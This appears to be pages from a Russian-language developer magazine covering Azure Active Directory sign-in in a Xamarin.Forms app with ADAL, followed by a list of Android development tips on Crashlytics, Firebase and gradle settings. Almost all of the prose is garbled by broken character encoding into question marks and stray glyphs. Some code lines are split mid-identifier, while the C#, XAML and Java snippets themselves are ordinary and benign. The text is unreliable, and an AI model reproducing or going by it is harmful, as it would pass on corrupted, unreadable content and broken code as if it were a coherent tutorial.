???�?????�???�??�??�???燗zure燗ctive燚irectory�????�???,�?????�???�
?????�?????�??�??�???�??��??????�???��???�??�????�?????�?????�
??????�??.
??????????? ??????
?
? �?????�?????
??????
??????????????
??????????????
??-?????????
????�????????�???��??????
???????????�?????????????
??�????�??�??�????�?????�????�?????�??��?????�??�??�???�??
???��??�??�???,�?�??�??�???�???�??燲amarin燜orms�(???�???�??�????
Visual� Studio),� ???????� ???�????� ???,� ????�?????�??� ????�??� ?????� ????,
????????� ???�?� ?????�??� ??????�??� ???�???�??� ?� ???�??�???� ???�?????�
??????�????�?????�??�??爄OS,燗ndroid�燱indows燯WP.
???�???�??�??��?????�???�??????�???????�??
1.�?�???�?�??�?�????�?�???�????�?燝itHub.
2.�??�???�???� ?� ???� ???�???�??� ?� ???�?� MainPage.xaml.cs� ????�??????�
????,� ???????� ??� ????�?????�???�?� ???� ?????�??�??� ???�???�??
?�???????�??�???燗zure燗ctive燚irectory.�?�??�??�???�???�???��???�
????�??� ?� ???�???� ????�?????,� ???�?� ???�??� ??� ?????�??� ????�????
???�???�??.
clientID��??燗pplication營D�?�????�??�??�?�??????�?�??�???�???.
public爏tatic爏tring燾lientId��"<<INSERT燳OUR燙LIENT營D燞ERE>>";
returnURI��??燫edirect燯RI�?�????�??�??�?�??????�?�??�???�???.
public爏tatic爏tring爎eturnUri��"http://MFATestPCL?redirect";
???�?????.�?????�?�??�???�??�??�?�??�????�??�???�??��???.
??�???�??�??�??��??�???�??�???�??��???
??�??�???� Visual� Studio� (?� ???�??� ??????�??� VS� 2017,� ???�??� 15.6.7)� ?� ?????�
???�?????� Xamarin.� ???� ???�?� ???�?????,� ?????�??� Visual� Studio� Installer
?�????燤odify�??????�?????�????燰isual燬tudio.
Xamarin燤odule
Xamarin� ???�??� ??� ???� ???�??� Visual� Studio� ?� ????� ?� ???�???�??� Community
Edition,�?�??�?�??�???�?,�??�?�???�??��???�??�??,�??�?????�?�???.
??�??�???� Visual� Studio� ?� ???�???� ?????� ???�??:� ????� File� ?� New� ?
Project.�?????�?燙ross?Platform�燤obile燗pp�(Xamarin.Forms).
New燩roject
??�??�?????�?燘lank燗pp��.NET燬tandard�??燙ode燬haring燬trategy.
Code燬haring
??�????� ?????� ???�??,� ???�????� ??????� ??????�???� ???�???�??,� ??� ?????�
?????�???�????�??�??�??????�??�??�???�??�燗ndroid????�???�??.
Solution
??�?�??�?�??,�??�???�??�???�????:�??�??�???�?�??�???燗pp.Android
?�???燬et燼s燼燬tartUp燩roject.
??�??燜5,�????�??�??�???�??�?�??�???�?燗ndroid��??�??:
New燗pp
???�??�???,�??�??�?????�?,�???�??�???�?�??????�(Shift�+燜5).
???�?� ???????�?????� ???�????�?????� ?????�?????�??,� ???�??�??� ????�
?????�?� Azure� Active� Directory� Authentication� Libraries� (ADAL).� ???�??�???� ??
????� ?????� ?� ???�???� ???�???:� ???�??� ????� ??� ???�??� ???�???� ?� ???�?� ??-�
????� ???�???� (?????� +� ???�????�??� ???� ???�??� ??� ????� ????�???)� =
4�???�燤anage燦uGet燩ackages.
Manage燦uGet
??�??� ???�????� Browse� ?� ???�??� ?� ?????� adal� ?� ???�??�???,� ???????
??�???�?�?�????�??�???.
Adal燗dd
???� ?????�????� ??????� ??????� ?� ???�????�??� ?????� ??????�?????� ????�
??????�??�??:
? ?� ?????� ???�???� ????�????� ?????????� IAuthenticator,� ?????� ???????
?????�???????�????�?????�??�?�???�?�????
? ?� ???�??� ??� ????�?????�??� ???�????� ????�????� ???�????�??� ???� ????�
????�??�???�????�????�????�??�??�??�????�????�?????�??��????�
????????�???�???????�??�???�???�?????
? ??�???�??� DependencyService,� ???�?????� ?� Xamarin� Forms,� ??� ???�??
???� ??????� ???�???� ??????� Authenticate� ????????�?� IAuthenticator
??� ????�?� ????� ????�???�??�?� ??????�?????� ????�?� ??� ?????�????
???� ???�???�??� ????�????,� ??� ???????� ?� ???�??� ??????� ??????�?� ????�
????�??.
??�???�?� ?� ????�???�??� ????????�?� IAuthenticator� ?� ?????� ???� ????� ?????�
????� ???�???,� ???�???� ?� ???� ?????� ????� IAuthenticator.cs� ?� ????�???�???
????????�?�(???�??�???�?�??�???�燗dd�燦ew營tem�燙lass).
using燤icrosoft.IdentityModel.Clients.ActiveDirectory;
using燬ystem.Threading.Tasks;
namespace燗pp17
{
牋爌ublic爄nterface營Authenticator
牋爗
牋牋牋燭ask<AuthenticationResult>燗uthenticate(string燼uthority,�
string爎esource,爏tring燾lientId,爏tring爎eturnUri);
牋爙
}
???�?????,�?�???�???�?�??�?????�???�???�???�?????�????�?????�??.
AuthenticationResult�??�???????�????�?????�??�????�????�???�???????�
???�?燗zure燗ctive燚irectory�????.�??????�??�???:�??�??�???�?燬olution
?燘uild燬olution.
??�???� ???�???� ?????�????� ???�?� ????????�?� ???� ???�??� ??� ????�???.
??�????�????�????��???�?????�?�?�?????�?????� AcquireTokenAsync?
?????�???�??� ???�????,� ??????� ???,� ????�???�?,� ?� ???�????�?� ???�?????
????�?????�????????�??,� ?� ???�???�?� ???????�??� ?� ????�?????�??� UI
?????燩latformParameters�??�???�??????�????�?????�????????�??�?????�
??????�??.
Android
???燗ndroid�??�??�?�??�????�???�???� PlatformParameters�??????�????/
?????�??,�?�???��??�????燗ndroid�燗ctivity.�??�??�?�?�????�??????�
??????� Forms.Context.� ?????�???� ?� Android????�??� ????� Helper.cs� ??� ????�
??????�????.
using燬ystem;
using燬ystem.Linq;
using燬ystem.Threading.Tasks;
using燗ndroid.App;
using燤icrosoft.IdentityModel.Clients.ActiveDirectory;
using燲amarin.Forms;
[assembly:燚ependency(typeof(App17.Droid.Helper.Authenticator))]
namespace燗pp17.Droid.Helper
{
牋燾lass燗uthenticator�營Authenticator
牋爗
牋牋牋爌ublic燼sync燭ask<AuthenticationResult>燗uthenticate(string�
authority,爏tring爎esource,爏tring燾lientId,爏tring爎eturnUri)
牋牋牋爗
牋牋牋牋牋爒ar燼uthContext�爊ew燗uthenticationContext(authority);
牋牋牋牋牋爄f�(authContext.TokenCache.ReadItems().Any())
牋牋牋牋牋牋牋燼uthContext�爊ew燗uthenticationContext(authContext.
TokenCache.ReadItems().First().Authority);
牋牋牋牋牋爒ar爑ri�爊ew燯ri(returnUri);
牋牋牋牋牋爒ar爌latformParams�爊ew燩latformParameters((Activity)
Forms.Context);
牋牋牋牋牋爒ar燼uthResult�燼wait燼uthContext.AcquireTokenAsync(
resource,燾lientId,爑ri,爌latformParams);
牋牋牋牋牋爎eturn燼uthResult;
牋牋牋爙
牋爙
}
??�?燰S�????�??�????�???�???�??營Authenticator��????�?�???�?,�??�?
???�?????,�??�?????�???�??????.
???�?� ????�?� ???�??� ???�????� ??� ????�???�??� Dependency� ???� ???�???
Helper� namespace� ?� ????�?� ??� ???�???�?� DependencyService� ?????�?????
?????�?�???�?�???��????�????�??�??�???�??�???�????.
[assembly:燚ependency(typeof(App17.Droid.Helper.Authenticator))]
???�?� ???� Android� ???� ???�?� ????�???�?????� OnActivityResult� ?????� ?� Main?
Activity.cs�??�?�(????�?�???�?燤ainActivity)�??�??�???�??�???�??�?��???�
???�????� ???�?????�???�??�?� ?????�??� ?????�?????�??� (???�?� ?????�???
???爊amespace�????�????�???爑sing).
using燗ndroid.Content;
using燤icrosoft.IdentityModel.Clients.ActiveDirectory;
牋牋牋爌rotected爋verride爒oid燨nActivityResult(int爎equestCode,�
Result爎esultCode,營ntent燿ata)
牋牋牋爗
牋牋牋牋牋燽ase.OnActivityResult(requestCode,爎esultCode,燿ata);
牋牋牋牋牋燗uthenticationAgentContinuationHelper.SetAuthenticati
onAgentContinuationEventArgs(requestCode,爎esultCode,燿ata);
牋牋牋爙
??�???�?????�??�爄OS.
iOS
?爄OS�??� PlatformParameters�?????�?燯IViewController��????�??�??�??�??,
?�???�?燫ootViewController��?�???�??????�???.
using燬ystem;
using燬ystem.Linq;
using燬ystem.Threading.Tasks;
using燤icrosoft.IdentityModel.Clients.ActiveDirectory;
using燯IKit;
using燲amarin.Forms;
[assembly:燚ependency(typeof(App17.iOS.Helper.Authenticator))]
namespace燗pp17.iOS.Helper
{
牋燾lass燗uthenticator�營Authenticator
牋爗
牋牋牋爌ublic燼sync燭ask<AuthenticationResult>燗uthenticate(string�
authority,爏tring爎esource,爏tring燾lientId,爏tring爎eturnUri)
牋牋牋爗
牋牋牋牋牋爒ar燼uthContext�爊ew燗uthenticationContext(authority);
牋牋牋牋牋爄f�(authContext.TokenCache.ReadItems().Any())
牋牋牋牋牋牋牋燼uthContext�爊ew燗uthenticationContext(authContext.
TokenCache.ReadItems().First().Authority);
牋牋牋牋牋爒ar燾ontroller�燯IApplication.SharedApplication.KeyWin
dow.RootViewController;
牋牋牋牋牋爒ar爑ri�爊ew燯ri(returnUri);
牋牋牋牋牋爒ar爌latformParams�爊ew燩latformParameters(controller);
牋牋牋牋牋爒ar燼uthResult�燼wait燼uthContext.AcquireTokenAsync(
resource,燾lientId,爑ri,爌latformParams);
牋牋牋牋牋爎eturn燼uthResult;
牋牋牋爙
牋爙
}
??� ??????�?� ???� ????�??� Dependency� ?????� namespace.� ???� iOS� ??� ???�?
????�???�?????�????�??�??�?�?????�????�???/?????�?.
???�???�??�?�??�???爄OS????�??,�??�?????�??�?燤ac?????��???�??
????�?� ???,� ???�????� Mac???????� ?� ????�?� ???� ????�?,� ???????� ???�???�
?????�?� Microsoft� App� Center� (??????????� ???�?� ???�???????� ???�???�?� ?
??�0�????�???�?��????�??�?�?�??�???�?).
??�???�????�????�??燱indows燯WP�(Universal燱indows燩latform).
Universal燱indows燩latform
?????�???�??�????�???�?��????�???�??�????�???燞elper.cs��?????�
????�?�???????�?營Authenticator,�?�??????�??�???�??燚ependency.
using燤icrosoft.IdentityModel.Clients.ActiveDirectory;
using燬ystem;
using燬ystem.Linq;
using燬ystem.Threading.Tasks;
using燲amarin.Forms;
[assembly:燚ependency(typeof(App17.UWP.Helper.Authenticator))]
namespace燗pp17.UWP.Helper
{
牋燾lass燗uthenticator�營Authenticator
牋爗
牋牋牋爌ublic燼sync燭ask<AuthenticationResult>燗uthenticate(string�
authority,爏tring爎esource,爏tring燾lientId,爏tring爎eturnUri)
牋牋牋爗
牋牋牋牋牋爒ar燼uthContext�爊ew燗uthenticationContext(authority);
牋牋牋牋牋爄f�(authContext.TokenCache.ReadItems().Any())
牋牋牋牋牋牋牋燼uthContext�爊ew燗uthenticationContext(authContext.
TokenCache.ReadItems().First().Authority);
牋牋牋牋牋爒ar爑ri�爊ew燯ri(returnUri);
牋牋牋牋牋爒ar爌latformParams�爊ew燩latformParameters(Prompt
Behavior.Auto,爁alse);
牋牋牋牋牋爒ar燼uthResult�燼wait燼uthContext.AcquireTokenAsync(
resource,燾lientId,爑ri,爌latformParams);
牋牋牋牋牋爎eturn燼uthResult;
牋牋牋爙
牋爙
}
??�???�??�????��????�??�??�??�????�????�?????�????�?????�??.
??�??�??�??
??�????� ????�?� ???� ???�?� ?� ??????�?????�?� ???�????�?????� ?????�??????�
???� ?� ?????� ???�??.� ???????� ?� ?????� ???�??� Xamarin� Forms,� ?� ???????
?????�????�????�??��????�???�???????�???�????????�??�???�????�
????,� ?� ?????�???� ?????� Solution� Explorer� ????�??� ????�???� ???�???�??� ?
MainPage.xaml.
Solution燤ain燩age
??�?燬olution燛xplorer�?�??�?,�??�??�?�???�???�????�???燰iew�燬olu?
tion燛xplorer.
Live燫un
??�???� ???�????,� ???� VS� ????�????� ?????�???� ????�??�????� ????????�?
?????燣ive燩layer,��??�?燣ive燫un,��?�??�???�??�??�?????�?�??�????�
??� ???�?� ??� ???�?� ?????�?????�??,� ???� ????�???�?� ????�???????�???
?????????� ???�???�??.� ?????� ????�?� ???� ???�????�?.� ????�??�????� ?????
????��?????�??�????�???,�????�?�???�?�??�??�??�????�?????�??.
?燲amarin燜orms�??�?????�????�?�?� ???�?燙#,��???�??�????�?� ???�?
???�????燲AML.
INFO
???�???????�?� ???�????� ?� ???�????�??� ??� Xam?
arin� Forms� ???�?,� ???�??� ???�???�??� ?� ?????
???�?????�??�?�??�???�???�????�?�??�???�?
(?????,� ???�??� ???�??� ???�?� ????�?)� 獵reating
Mobile燗pps爓ith燲amarin.Forms�.
?� ????????� Page� (????)� ???�???�??� MainPage.xaml� ???????� ????�?� ?� ?????�
???�????,�??�??�?燲AML????�??�???�?�(Button)�????�??�???�?��?????�
???�???� Label� ??????� ???�??�???� StackPanel.� ????� ????�??�??� ???�??�??
???�??�????�???�?�???�??�??�?��??�?�??�?????�??�??????�???.
<?xml爒ersion="1.0"爀ncoding="utf?8"�>
<ContentPage爔mlns="http://xamarin.com/schemas/2014/forms"
牋牋牋牋牋牋xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml"
牋牋牋牋牋牋xmlns:local="clr?namespace:App17"
牋牋牋牋牋牋x:Class="App17.MainPage">
牋�StackLayout燨rientation="Vertical">
�Label燭ext="Welcome爐o燲amarin.Forms!"�
牋牋牋牋牋VerticalOptions="CenterAndExpand"�
牋牋牋牋牋HorizontalOptions="Center"/>
牋牋牋�Button爔:Name="btnLogin"燭ext="Login爐o燗zure燗ctive燚irect
ory"燙licked="btnLogin_Clicked"燰erticalOptions="CenterAndExpand"�/>
牋�/StackLayout>
</ContentPage>
?燲amarin燜orms�???燲AML�??�????�???�??�??�??�??�?????�??�??�????,
???�??� ??� ???�?� ????�?????� ????� ?� ???�?,� ???�????� ???�?� ???�??�???�???
????????�?�??�????�??�???�???�??.
???�?� ???�?� ???�?� ?????�??� ?� ????� MainPage.xaml.cs� (???� ???�?� ???�?
???�??????� ???�??� ?� MainPage.xaml,� ???�?� ???�???� ???/code?behind)
?�??????�???�??�??�??????�???�?,��??�?�??�??�??�???�?????�???
?爊amespaces.
using燤icrosoft.IdentityModel.Clients.ActiveDirectory;
using燬ystem;
using燲amarin.Forms;
namespace燗pp17
{
牋爌ublic爌artial燾lass燤ainPage�燙ontentPage
牋爗
牋牋牋爌ublic爏tatic爏tring燾lientId��"<<INSERT燳OUR燙LIENT營D�
HERE>>";
牋牋牋爌ublic爏tatic爏tring燼uthority��"https://login.windows.net/
common";
牋牋牋爌ublic爏tatic爏tring爎eturnUri��"http://MFATestPCL?redirect"
;
牋牋牋爌rivate燾onst爏tring爂raphResourceUri��"https://graph.
windows.net";
牋牋牋爌rivate燗uthenticationResult燼uthResult�爊ull;
牋牋牋爌ublic燤ainPage()
牋牋牋爗
牋牋牋牋牋營nitializeComponent();
牋牋牋爙
牋牋牋爌rivate燼sync爒oid燽tnLogin_Clicked(object爏ender,燛ventArgs�
e)
牋牋牋爗
牋牋牋牋牋爐ry
牋牋牋牋牋爗
牋牋牋牋牋牋牋爒ar燼uth�燚ependencyService.Get<IAuthenticator>();
牋牋牋牋牋牋牋燼uthResult�燼wait燼uth.Authenticate(authority,�
graphResourceUri,燾lientId,爎eturnUri);
牋牋牋牋牋牋牋爒ar爑serName�燼uthResult.UserInfo.GivenName�+�"�"�+�
authResult.UserInfo.FamilyName;
牋牋牋牋牋牋牋燼wait燚isplayAlert("Token",爑serName,�"Ok",�"Cancel")
;
牋牋牋牋牋爙
牋牋牋牋牋燾atch�(Exception爀x)
牋牋牋牋牋爗
牋牋牋牋牋牋牋燼wait燚isplayAlert("Error",爀x.Message,�"Ok");
牋牋牋牋牋爙
牋牋牋爙
牋爙
}
???�?�??�?�??�???�???��??�???�??��??�???�?????�???,�??????�?
????�?????�???�?� ???� ?????�??�??� ???�???�??� ?� ????????� ???�???� Azure
Active� Directory.� ??� ???�??� ????�???�???� ?� ???�???�??� ?� ???�???� ?????�
??????,�??�?�??�??�?�????�??�???�????�??�???�??:
clientID��??燗pplication營D�?�????�??�??�?�??????�?�??�???�???.
public爏tatic爏tring燾lientId��"<<INSERT燳OUR燙LIENT營D燞ERE>>";
returnURI��??燫edirect燯RI�?�????�??�??�?�??????�?�??�???�???.
public爏tatic爏tring爎eturnUri��"http://MFATestPCL?redirect";
???�?????.
??�???�??�???�??
??�???�??�?�????�???�??�???�??�(???�????,�?�??�???�?�?燜5)��?????�
??????�?????�?�???�???�??�???�???�?????�?,�?????�?�?�?????�???.
???� ???�??� ???�?� ???�?� ???�??�??�?� ???�?� ???�?� ????�?????�?� ?� ??????
???�???� ????�????� ????�?????�?� ???????�??�?????� ????� ??????�??� ?????
???� ??????�??� ???�??????�???� ????�??� ???� ???� ?� ?????� ?????� ????????
??�???,�????�??�?????�?�??�????�?????�????�?????�??�?�??�?????
?� ???????�??� Service� Settings� ???�??�?� Multi?factor� Authentication� ???�???
???????�?�??�???.
???�?� ?????�??�??� ??� ???????� ???�??� ???� ???� ??� ??????�??� ???????.
????�?� ???�?� ???�?� ?� ???�????� ???�????�?� ???�????�???� ???�??????�??
???�???????�?�??????�????�?????�???�?��??�???.
???� ????????� ?????�?????�??� Azure� Active� Directory� ??????� JWT??????
(JSON� Web� Token),� ???????� ???�?� ??????�?????� ???� ????�???�??� (????�
???????)�??�????�???�?????�?��?????�??�??�???�??.�????�??�????
???�????� ???�????,� ???�??????�???� ???� ?????�?????,� ?� ?????�??� ???
?????,� ??� ???????� ??� ?????� ????�?????� ??� ????�?� ??,� ???� ????�???????
???????� ???�??� ?????�?????�??,� ??� ?� ?� ?????� ?????� ??� ???�??�????.
???� ?????�????� ???????� ???�???� ??????� ?� ???????�????� ???�?� ??????�
??????�?�??�?????�??�??????,�??????�??�????�????,�?�?,�??�?�???�
????�???�??.� ???�?� ?????� ???�?� ??????�???� ????�?� ?????� ???????�??
?????�????��??�???��??????�??�??�???�??.
??�?�????�?�??????��??�??,�???�???????�????�?????�??�?�??�??
?�??�??��??�??�????�??�?�?????�???�??�???�??�??�????�???�?�???�
???.
???�??�??�??�??�???�??�?燝itHub�????�??�??�????�?????/logout,
???????� ???�???� ???� ???????� ?� ???�???�??,� ?� ???�?� cookie,� ???????� ?????
?�???�???�???��??�???�???�??�???燗zure燗ctive燚irectory�??�?????�????�
??????�?�?�??�???�??�????�?????��??????�??�??�???�?�??�???.
????,� ????� ????�??� ???�??� ???�?� ?� ???�??� ???�??� ???�???????,� ??
???????� ????�??� ???�????�?????� ?????�?????�??� ?� ???�??� ???�??
??�??????�???�?????�??�???????�???�???�?????�?.
iOS
Android
??????
????????�???????
android?tools.ru
???????�????????
ANDROID-????????????
?????????��????�?????
???????�??????
????�???�??�????�?????�?????燗ndroid�???�????�????.
??????� ???� ?????� ????� ???� ????.� ?????�?� ?� ???� ???�??.
?????�?,� ?� ????�??,� ??,� ???�?� ???�???�????� ???�???
??????,� ???�??� ??� ?????�????� ???�?� ???�???� ??� �??�???
?????�?�.�?�??�?�?????,�???�???��?�???????,�??�??
???�??�??�??�?????�?�??�????????�???�???�?,�??燗n?
droid�??�????,�??????,�?�???�????�??�?�??�????,��?
???� ???� ??� ????�?� ????�???,� ???????� ???�??????�?� ????�
???�???�?????�???.�????�?�?�??�???�??�?�??�?????�
???� ???� ???�????�?� ???� Android,� ?� ??????�?� ???? ???�?� ????�
?????????�???�????�?.��??????,�???�?,�???�????.�)
1.�????????�???燗CTIVITY�????��????�?????
????????????�??�???�????
??�?�?�???�????�????�??燗ndroid,�?�????�???�????� ???�?�??�????�?
???�?� ???� ?????� ????�??� ????�???.� ?� ????� ??� ??� ???�?????� ????� ????�?
?� ???�??�???,� ???????� ???�????� ???�??????� ???�???� ?� ???�???� Delphi?� ?
?????� ?� ???,� ??� ????,� ?� ?????� ????� ???� ????� ??� ???�?.� ????�??�?,� ???� ??
??�???�??�????�?�??�????�??�???�??�?????�????�?,�???�?�?�?�???�
???:牜???�?�???�???????�??????�??�???�????,�??�???�??????�???�??
???�?� ?� ???�??�?????� ???�?????� ????� ???�????�??�.� ???�??� ???�?,� ???� ??
????�??� ?� ???�?� ???�?????.� ?� ??� ????�?� ??????,� ???� ??????�???�???� ???�??
??????�?��??�?????�??�?�???�?�??�???.�)
?� ???� ???� Android� ????�?� ???� ?� ?????�?:� ?????�??� ?????� ?� ???????� ???
???�???.�????�?,��??�???�??�?�?????�????�???�??????�???�?,�?�??
??� ????�?� ????�?,� ??� ?� ???????� ????�?????�?� ??� ???�?� ?� ??????� ???�??�??
???�?????�??� ???�??� ????�??�?.� ?????�?� ???�??� ???�?� ??� ??,� ???� ???�?,
?� ?????�???�??,� ???� ??� ??????� ???�???� ???� ???�????�?,� ?� ???� ?????�???
?�??????�?�??????�????燗ctivity,�??????�???�???
android:configChanges="keyboardHidden|orientation|screenSize"
??�??�?,� �??�???� ????粻 ???� ??????� ??� ???????�???,� ??� ?????� ???�???
??????�???�???�???�????�???�??�??�??�???�??.�???�?�?????��???�
?????�??�??????�?�?�?燗PK�(???�??�???�??).
??�?�??????�?��???�??�???�???�?�?????�??��??�??�?�??�????�
????�?�?��??�?�?????�????,�????��??�??�?�?�?????�??.�??�????,
???�???�???� ???????�???�?� ???�?????� ???�??� ???� ???????� onStop.� ?????�
????????� ????�??� ???�???�??,� ?� ???�????� ????� ?????.� ??� ????� ????� ?????�
????:�?�?????�??�?????�????�????�??�?�?????�?�????�??????.��????
???�??� ???�?� ???�?????� ???,� ???� ??????,� ?� ??????� onPause.� ????�?,� ??
??????�???� ??� ????�?� ???� ??????� ??� ????�???,� ??� ?� ???� ??????� ?????�???�?
????,� ?????�?� ???�?� ????�?????� ????� ??????� ?� ???�??�????�???� ???�??�?
??�????�????�?.
2.�???�?????,�???????�?�???
?� ?� ???�??� ????�????� ???�??� ???�???� ???�????� ???�????�?.� ????� ???�?
???�???� ???� ???�?� ???�???� ??� ??????!� ????�???�??� ???�??� ??????� �?
?????�???�?�,� ????�????� ???� ??????�?,� ???� ???.� ????� ???� ????�??�??�?
??????�?� ?� ???�??,� �???�????� ???�?� ?????� ???�??�.� :)� ?� ????� ???� ??????�?
??� ????� ????�?????�?,� ??� ?� ??� ?????�?,� ????� ??????????�?� ????�??�??�?
????�??????�??�?�??�???�?��??�?�?�????�??�???�???�????�??????�
??� ?� ????�???� ???�????�????.� ???�????� ?� ???� ???�?� ???�????� ?� ?????�?
???�??�?????�????�??�?�?�?�????�???�???�???�?.
??�??�?� ??� ???�?,� ???�????�?� ?� ???�?????�?� ????�????� ????�????
??� ???�??� ????� begin� ?� end� ?� Kotlin?????.� ?????�?� ????????� ????�?� ???�?
???�?�??�???�?�??�???�??.
???�??� ???�?� ???�??� ???�??�?????� ???�???�??� ???�??�??,� ??� ???�?� ?
????�????� Crashlytics.��?�???�?�??????��?,�??�?�????�?�?????�???
Google.�???�???�???�??�??�??�?�??�??�??�???�???�?????�?,�?�???�
??�??�?�???�???�??��???�?燗pplication:
@Override
protected爒oid爋nCreate()爗
爏uper.onCreate(savedInstanceState);
燜abric.with(this,爊ew燙rashlytics());
爐ry爗
牋燜irebaseApp.initializeApp(this);
牋爉FirebaseAnalytics�燜irebaseAnalytics.getInstance(this);
牋燙rashlytics.log(Log.INFO,�"App.onCreate",�"Firebase爄nitialized")
;
爙燾atch�(Exception爀)爗
牋爀.printStackTrace();
牋燙rashlytics.log(Log.ERROR,�"App.onCreate",
牋�"Error爄nitialize燜irebase爓ith:�"�+爀.getMessage());
爙
}
??�??�????� ????� ?� ????� ???�?� ?????� ????????� ?????� ???�???� ????�?� ????�
????�??,�?�???�??�?�????�???� ???�?????�???燬plash��????�??�?�???
???�??��??�??�???�??�??�??�?��??�??�???�???�?????�?.
???�??�?�?�??�????�???�???�???,�???�??�??�???燝oogle�燙rash?
lytics� ?� ???�??� ??� ???????� ???�???� ?� Firebase.� ???�????� ??� ??� ???� ???� ???
?????� ?????�???� ???�???�??� ??????� ?� ????????� ???????,� Crashlytics� ????�
????�?�??:
Crashlytics.log(Log.INFO,�"App.onCreate",�"Firebase爄nitialized");
?燜irebase��??�??:
public爏tatic爒oid爏electContent(String爐ype,燬tring爄d)爗
爄f�(mFirebaseAnalytics�!=爊ull)爗
牋燘undle燽undle�爊ew燘undle();
牋燽undle.putString(FirebaseAnalytics.Param.ITEM_ID,爄d);
牋燽undle.putString(FirebaseAnalytics.Param.CONTENT_TYPE,爐ype);
牋爉FirebaseAnalytics.logEvent(FirebaseAnalytics.Event.SELECT
_CONTENT,燽undle);
爙
}
3.�?????��??????��??????�??????...�????�???????
??�??�???
???�???�????�??�??�?�??�???�???�??�?�??�??�??.�?�??�???,�???
???�???�????�??�??�?????��???�??�???�??,��??�???,�??�???�?�???�?
?�??�???�???�?燲�?�?????�???燳��??�??�??燴?
???�?�?????��?????�??,�???�??????��???�?�?????�???.�?�????
??????�??�???�??�???�??�???�?�??�?????�???,�??�??�???�??�???�??
?� ????????�???� ???�????�???� ????� ????� ???�???�?� ?????�??.� ???� ?????
??????�?????� ???�?�??�??�?????�??.�??�?????�?�??� ????�??�??
????�??�??�???�???,�??????�??�??�?????.
??� ?????�??� ???�??�??�??� ?� ??� ????�????� Firebase,� ???????� ??� ???�????�
???� ??????� ????� ????�???� ???�?� ??� ??????� ?????�??� ??????�????.� ???�?
????,� ??� ???????� ?????�???� ????�???�??� ???????� ???�?� ??� ???�????�????
????�??�??.� ?� ??????� ???�????� ?� ????�?,� ???????� ??????�?� ?� ??????�??
????�??�???� ???� ???�?????� ???�???� (???�??�?� ???�???� ???� ??????�???
?� ??????�??� ???????).� ???�?� ??� ???�???� ??????,� ???� ?,� ?� ?????� ??????�???
???� ???�??� ?� ???.� ????�??,� ??� ??????� ???�???� ???�??� ?� ???�???????�??� ????�
??????� ?� ?????� ????� ???� ???�????�????,� ????� ???� ????� ???�?????�???
?????.
4.�?????�?????�????��??????????�????????
?????????��?????????�(???????�???�?�?????)
??�????,� ???� ???�??� 99,9%� ????�??� ???�??� ???�???�??� ?� ?� ????�?� ??� ?????�
??????� ?� ?????� ????.� ????� ?� ???,� ???� ?� ???�??� ???�???�???�??� ???� ?????
??????�???� ?????� ?????�??????� ????�?,� ???� ??????� ??� ???�?� ????�?
?�??????�???�???�???�???.�???�????�?�??�???�?�??�??,�??�?�???�
??�???�???�?�???�?????.�??�?燰iewPager�??�?�??�???��??�??.
????�???�?�??�?�?????�?????�??�??????�??????�??�????,�?,�???
???�?�??�?�?????�?????��???,�?????�??�??�??�??�??�??�?�(Rx,�???�
????).�?��????�?�??�?�??�??�??,�??�??�??��??,�??�??�???��?????�
?????�????�???�?�?�???????�?.�??????,�??��????�??�???�??�?????�
????,�?�??�?????��?�?�???�(???�??�??�??�??�???�??????).
5.�???????????�???????�??????�??
??�?????� ????� ???�????�?????� ??????�??� ?� ???????�??�?� ???� ?� ????
????� ?????�??.� ?????� ????�??� ????�????�??� ???�????�?� ????????� ????�
?????� ???� ???�??� ????�????� ????�?.� ?????�??� ???????� ????�??� ???� ????
????�?� ??????�??.� ?????� ???�?� ???�?� ????�????� (Telegram)� ????�?� ???
??�?????�???,��?????�???�???�?�?????�??�?,�?�???.
?� ???� ???� ?� ???????�??� ????�??�???� ????� ?� ????�???� ???�?!� ???� ???
????�?????� ???�????,� ????� ????,� ????� ???????,� ???�?,� ????�?,� ???�???�?
???�????���??????�??,�??�???�??�??�????�??�?�??�?????�??�?????�
???.� :)� ???�??,� ???� �???????粻 ???�????�?� DrawerLayout� ?� ViewPager
???????� ??????� ????� ????�?????�?� ????�??� ???� ?????� ???�?????�???
??????�??�??�??�?�???�?�???????�??�???�???�?��???.
6.�??????????�????????�????�????牜??????�
?????????�
????�???,� ???�??� ?????� ?????� ?� ?????� ???�???!� ???�?� ???� ???�????�?
??�??�????�?�??�??�??�????�???�??????�???,�??????�?�?????�???�?
??????.� ?� ????� ????� ???�???�?� ???�??,� ???????� ????�?� ????�?� ?� ???????�
????�?,�?�??��?�???�?????�???.��??�???,�???????�????�??�??�???�
?????� NotificationCompat� ????�???� ???�??� ???�??� Android,� ?� ??� ????�??
????�??�????�?�??.
???�????�?� ???�??�??� ?????� ????�??� ?� ????� ?????� ?� ???�??� ???�????�?
???�??�??�??.�???�?????�?�???�????:牜???�??�????��???�??�????�??
?????� ?????� ???�???� CompatCompat�.� ????�?,� ???�?� ???�???,� ???� ?????� ??
???� ????� ???�????�?� ??� ?????,� ???�?� ???�???�?????�?� ???�??�??�??
gradle�燿ependencies.
??�???�?????�??�??
???� ???�????� ????� ??� ???�?� ?????�???� ????� ???�?� ???�?????� ???�???
???爂radle:
configurations.all爗
爀xclude爂roup��'com.android.support',爉odule�'transition'
爀xclude爂roup��'com.android.support',爉odule�'customtabs'
爀xclude爂roup��'com.android.support',爉odule�
'support?media?compat'
爀xclude爂roup��'com.android.support',爉odule�'support?fragment'
}
???�?�???�??�?�??�??�????�????�?�?????�??�??�??�??�??�???????.
7.牜??�?????�?????�??燙�????????��???????燙ONSTRAINT燣AYOUT,�?�?�?????��???????�
??�??�?,� ???????� ???�??� ????� ?????????� ???� ?????,� ?� Constraint� Layout� ?
????�?��?????�??????,��??�???�??�????�??�??�????�?�??????��???�
??????.� ???�?� ????????� ?� ????� ???�??�??�??� ????????�??,� ???????� ????�
?????� ??????.���???�??�??�??�??燙onstraint燣ayout�0�??�?�??�???� ???
???�????�??.�?�??�??,�??�???�??�??�?燝oogle營O�18.
8.�?????�???????�???�?�?????�?�????????:
??????�?????????,��????�?????�??????-?????????
??�?�???�???�???�???�??�??�???�???��??�????�??�???��??�??��?
????�????� ?� �??�????� ????�????�,� ???� ???�??� ????�?� ???� ?????,� ?????�?,
????�????.�?�????�?�??�????�??,�??�???!
??�???�???� ???�??� ?????� ????�??� ????� ??� ???�???�?� ????� ??.� ??????
????�??� ??�?� ???�???????�??�??.� ???�?� ???�?� ????????� ??????????
??� ?????� ?????�?� ???�??� ??????� ????�???� ?� ????�?????�?� ????� ???�??????
?�??????�??�?????,�??�?????,�???�?�?�???�?�???.
9.�??�??????????�??????????????�?????�?????
